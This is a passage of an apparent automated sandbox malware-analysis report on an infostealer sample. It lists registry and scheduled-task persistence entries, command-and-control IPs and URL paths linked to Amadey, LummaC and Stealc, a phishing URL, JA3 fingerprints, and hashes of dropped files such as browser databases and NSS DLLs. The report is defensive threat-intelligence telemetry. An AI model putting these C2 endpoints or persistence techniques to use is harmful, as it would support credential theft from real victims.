14:28:02	API Interceptor	24047812x Sleep call for process: skotes.exe modified
14:28:26	API Interceptor	249x Sleep call for process: 5a20612cd1.exe modified
14:28:45	API Interceptor	69889x Sleep call for process: 3e3be1ecc4.exe modified
19:27:53	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:28:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5a20612cd1.exe C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe
19:28:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0882197cda.exe C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe
19:28:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6693ff7180.exe C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe
19:28:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9c573f8941.exe C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe
19:29:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5a20612cd1.exe C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe
19:29:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0882197cda.exe C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe
19:29:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6693ff7180.exe C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe
19:29:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9c573f8941.exe C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
80.82.65.70	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.content-signature-chains.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
INT-NETWORKSC	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	pSU7fuySjo.elf	Get hash	malicious	Mirai, Moobot	Browse	196.16.25.51
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	196.16.28.128
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	104.21.50.75
	attachDocx.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	http://www.polarinsight.online/tb	Get hash	malicious	Unknown	Browse	172.67.166.58
	https://www.aarp.org/money/scams-fraud/info-2024/title-theft-real-estate-fraud.html	Get hash	malicious	HTMLPhisher	Browse	104.18.27.193
	http://xn--gmq700hb9ir4byxw.shop/bnBkL2ViZml0c2JwY0F7Zm1mdy9idWp0cHMkbHYvcGQvem1xanVtYnNmZC9xbmJ3MDA7dHF1dWk	Get hash	malicious	ReCaptcha Phish	Browse	104.16.123.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	lLNOwu1HG4.js	Get hash	malicious	RHADAMANTHYS	Browse	173.222.162.32
	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	173.222.162.32
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	173.222.162.32
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	173.222.162.32
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	173.222.162.32
	https://verification.com/omid_error?	Get hash	malicious	Unknown	Browse	173.222.162.32
	http://154.216.17.157/curl.exe	Get hash	malicious	Unknown	Browse	173.222.162.32
	http://doctifyblog.com	Get hash	malicious	Unknown	Browse	173.222.162.32
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	173.222.162.32
	https://www.egencia.com/conversations/cp/connect.html/?id=9445ace5-416d-4fb9-b151-bab0770ccdde	Get hash	malicious	Unknown	Browse	173.222.162.32
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.64.1
	W7ZBbzV7A5.exe	Get hash	malicious	Unknown	Browse	104.21.64.1
	BPzptjK1aF.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.129.91 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\ProgramData\mozglue.dll	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\CAEHJEBKFCAKKFIEHDBFIEHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAFIDAECBGCBFHJEBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAAAKFHIEGDGCAAAEGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEGHJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDBGDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: hD7SED8r8Q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: hD7SED8r8Q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
